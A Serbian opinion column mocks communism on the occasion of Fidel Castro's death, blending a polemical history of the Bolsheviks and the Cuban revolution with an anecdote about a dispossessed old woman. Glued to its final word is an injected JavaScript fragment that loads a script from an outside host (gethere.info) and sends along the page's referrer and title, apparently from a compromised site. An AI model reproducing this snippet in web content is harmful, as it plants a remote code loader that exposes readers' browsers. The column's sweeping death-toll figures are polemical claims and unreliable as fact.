KOLUMNA, RADOVANOVIĆ: Smrt komunizma

Nešto manje od godinu dana pre stogodišnjice Oktobarske revolucije u svojoj devedesetoj umro je Fidel Kastro Ruz, poslednji iz velike loze marksista lenjinista, revolucionar, komandant i kamarad, jedan od onih koji su sanjali diktaturu proletarijata worldwide, fabrike radnicima, zemlju seljacima i precizan metak za svakog od intelektualnih insekata, kulaka i izdajnika svake revolucije.

Zahvaljujući toj činjenici da je "poranio" godinu dana, komunizam, onaj na vlasti, nije uspeo da doživi stotu.
Umro je sa Kastrom, na Kubi, udaljen nekih petnaest minuta leta od Amerike, iste one koja ga je čitav jedan vek mrzela, ništa više nego on nju, i koja je bila i ostala sve oni što on nije hteo da bude - bogata, demokratska, puna razlika, rasipnička, vesela, mnogobožačka i sasvim privatna. Tih devedesetak milja, od Havane do Ki Vesta u Americi, bili su i najviše što je komunizam uspeo da priđe velikom neprijatelju u poslednjih dvadesetak godina. Pre toga, zid koji je sam podigao, između dva Berlina, bio je jednostavno previsok za davno zamišljeni skok na zapad. I previše porozan da na istok ne bi prešlo sve ono svetlucavo i sjajno što je zapad nudio. Komunizam je na neki način poginuo na isti način kao i severnoamerički Indijanci. Sjebale ga staklene perle i šarene marame.
No, pre tačno šezdeset godina, 2. decembra 1956. godine, uopšte nije tako izgledalo. Fidel Kastro Ruz, Ernesto Gevara de la Serna, zvani Če (što je španski izraz najbliži našem "bre"), i još osamdeset drugova, posle dugog putovanja na brodu "Granma" (po naški "Baba"), iskrcalo se na Kubu, na Playa Las Coloradas, namerni da dižu komunističku revoluciju.
Izginuli su tu, odmah, gotovo svi. Po nekim svedočenjima, preživelo ih je samo dvanaestorica, među njima i Fidel i Če, pobegavši u planine. Tri godine kasnije preuzeli su vlast na Kubi. Fidel - doživotno.
Kako im je to uspelo, pitanje je u čijem dogovoru se krije, bukvalno, sve o komunizmu, o tome kako je nastao i još više o tome kako je i zašto preminuo po celom svetu, pa i na rajskim, toplim Karibima.
Ukratko, pre razrade možemo da kažemo da je ceo štos bio u tome što je "sišao u mase", što je najgora stvar koja može da se dogodi bilo kojoj ideji.
Mase se, naime, ne bave idejom na način onih koji su ideju smislili. Nema tu nikakve rasprave, dijaloga, razrade... ma jok. Uostalom, pogledajte šta se desilo sa srpskim salonskim nacionalizmom, rođenim među pesnicima i akademicima. Kada su ga do'vatili naši seljaci - seljaci i seljaci - političari, seljaci - vojnici, ništa drugo i nije moglo da se desi. Ne umeju oni raspravu da napišu, ali zato pušku i nož da uzmu nikakav problem nemaju.
Pa se ideja zacrveni, poteče krv, ruše se gradovi, zidaju logori, i svako zlo koje možeš da zamisliš, u nekom novom salonu, antiratnom.

Komunizam je, na neki način, poginuo na isti način kao i severnoamerički Indijanci. Sjebale ga staklene perle i šarene marame

Elem, i komunizam je upravo tako prošao. Vrhunski intelektualci, baveći se determinisanjem istorije, odnosima proizvodnje, dijalektikom, materijalizmom... došli su do jednostavnog zaključka. Da je jednom sistemu, kapitalističkom, koji je nasilno razorio hegemoniju onog prethodnog, feudalnog, koji je na isti način doakao onom robovlasničkom... i da je došlo vreme da se pomire sredstva proizvodnje, njihov rezultat i sami proizvođači.
Pojednostavljeno, da radnici postanu vlasnici sredstava proizvodnje, a seljaci zemlje da odumre država, koja je, po njima, ništa drugo nego instrument za sprovođenje interesa kapitalističke klase, i da nastane svojevrsni srećni kraj istorije. Svako da daje koliko može i da dobija koliko mu je potrebno. Slatko, zar ne?
U praksi, a toga sam se setio dok sam čitao o tom famoznom brodu "Granma", iliti "Baba", to je izgledalo ovako.
Krajem devedesetih iznajmili smo kancelarije u zgradi "Prosvete" na Terazijama. I bila jedna baba u zgradi, živopisna, gospodstvena, obradovao sam se kada sam je sreo i široko se nasmešio, a ona kratko rekla: "Pu, Hercegovci", i okrenula glavu. I to je onda, uredno, radila svaki put kada me sretne. "Pu, Hercegovci."

Očajan sam bio, sa Hercegovinom nikakve veze nemam ako se izuzme to što poznajem Vuka Draškovića, što neki put jeste da te čovek pljune, a neki put i nije, i zbunjen skroz, dok mi gospodin koji nam je izdavao kancelarije nije ispričao slatku priču.

Baba je bila ćerka predratnog trgovca, vlasnika cele te zgrade. Onda se desila revolucija, komunisti nahrupili, uzeli koliko im je bilo potrebno, i babi dali baš koliko su procenili da joj treba. Sobičak u potkrovlju.
E sada, ispostavilo se da su joj ti koji su je ćušnuli u ćoše bili iz Hercegovine, te je baba, jelte, sve nas koji bismo kasnije pristigli u zgradu doživljavala na isti način. "Pu, Hercegovci." Oni koji uzimaju tuđe. I onda mu daju ime "Prosveta". Užas.
I, da li vam je sad jasno? Komunizam, stvoren u maginoj kuhinji Marksa i Engelsa, dohvatili su veoma brzo "Hercegovci". Jedan od metar šezdeset pet, kivan na cara jer mu je stariji brat u nekom neuspelom pokušaju revolucije streljan, jedan ništa veći, rošav, kog je tata alkoholičar lemao volujskom žilom i oterao u semenište da postane pop, a na kraju i jedan sin zemljoposednika iz Galicije, klasično obrazovan, ali u pogrešnom podneblju. Vrela klima uzrokuje vrelu krv, a vrela krv ne može da ima bolje opravdanje za preveliku strast od, pogađate, revolucije.

Dakle, spustivši se u mase krajem druge decenije prošlog veka, komunizam je, malo je reći, podivljao.
Hteo je sve i hteo je odmah. Oslobađanje, prestanak rata, obnovu, izgradnju, podelu zemlje, preuzimanje fabrika, smrt države...

Rezultat je, na samom početku, nagovestio kakav kraj će da bude.
Izvevši Rusiju iz Prvog svetskog rata, boljševici su je uveli u građanski, u kojem je poginulo nekoliko puta više ljudi nego u onom svetskom.

Oduzevši zemlju i fabrike, prouzrokovali su glad, ali ne tek kakvu. U ovoj je, po zvaničnim podacima, umrlo gotovo pet miliona ljudi.
A to je bio tek početak.

Suočivši se sa neefikasnošću sopstvene tvorevine i, još više, sa nemogućnošću države da tek tako crkne, oni su se bacili na formiranje još čvršće države, jednopartijske, i na progon neistomišljenika svih vera, rasa i boja. Samo u Sovjetskom Savezu broj onih koje je ta država skratila za glavu, po jedinstvenoj ideološko-logorskoj matrici, za deset miliona je veći od broja onih članova sovjetske zajednice stradalih u Drugom svetskom ratu. Trideset miliona u logorima, dvadeset u ratu. Veselo, zar ne?

No, sve to, uopšte nije bilo dovoljno da komunizam crkne, kao što bi bio red, odmah. Ma jok. Veliki je to san, moćan, zasnovan na našim najnižim porivima i strastima. Mislim, ko od nas ne mašta o tome da uzme baš koliko mu treba, ko ne bi da bude vlasnik svega, da niko ne može da mu kaže da je nešto nečije, ko ne bi malo da radi a mnogo da mu pripadne, ko ne bi da sve bude razdeljeno, čije god da je, i da i on mazne svoj deo?
Ko nije od nas, u duši, onoj prvobitnoj, primarnoj, tek rođenoj - komunista? "Hercegovac", od glave do pete.
Život nas posle sjebe, nauči pravilima, tera da radimo da bismo preživeli, uči nas šta je naše a šta nije. I uopšte nam to, ako ćemo da budemo iskreni, ne prija.

Evo, i danas je onaj naš komunista, Hercegovac Broz, najpopularniji od svih živih i mrtvih političara. Zato što je lepo uzeo i sve nam podelio. Fabrike, stanove, kola, letovanja. Sve je bilo naše. Nezarađeno, bez ozbiljnog truda, ali naše. A što je tu i tamo pokoja baba stradala, koga briga.

I jedini je problem bio što se sve to, ta vesela raspodela i otimačina svega i svačega, dešavalo u svetu u kojem je previše toga bilo nečije. I što ti nisu tek tako hteli toga da se odreknu.

Da prodaju, to da. Prodali su i legendarnu jahtu "Baba" ("Granma"). Napravili je u Americi kapitalisti američki i za nekih 15.000 dolara prodali nekom meksičkom trgovcu oružja, koji je za taj posao pare uzeo od revolucionara Kastra.

Znali su, da vam ja kažem, da će sve to kad-tad doći na svoje.
Da će komunizam da umre. Onaj dan kada umre Kastro.
I, lično, uopšte mi to ne smeta. Žao mi je samo one moje babe koja je mrzela Hercegovce. I ona je umrla, u sobičku u potkrovlju. Pre restitucije. Jebi ga.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';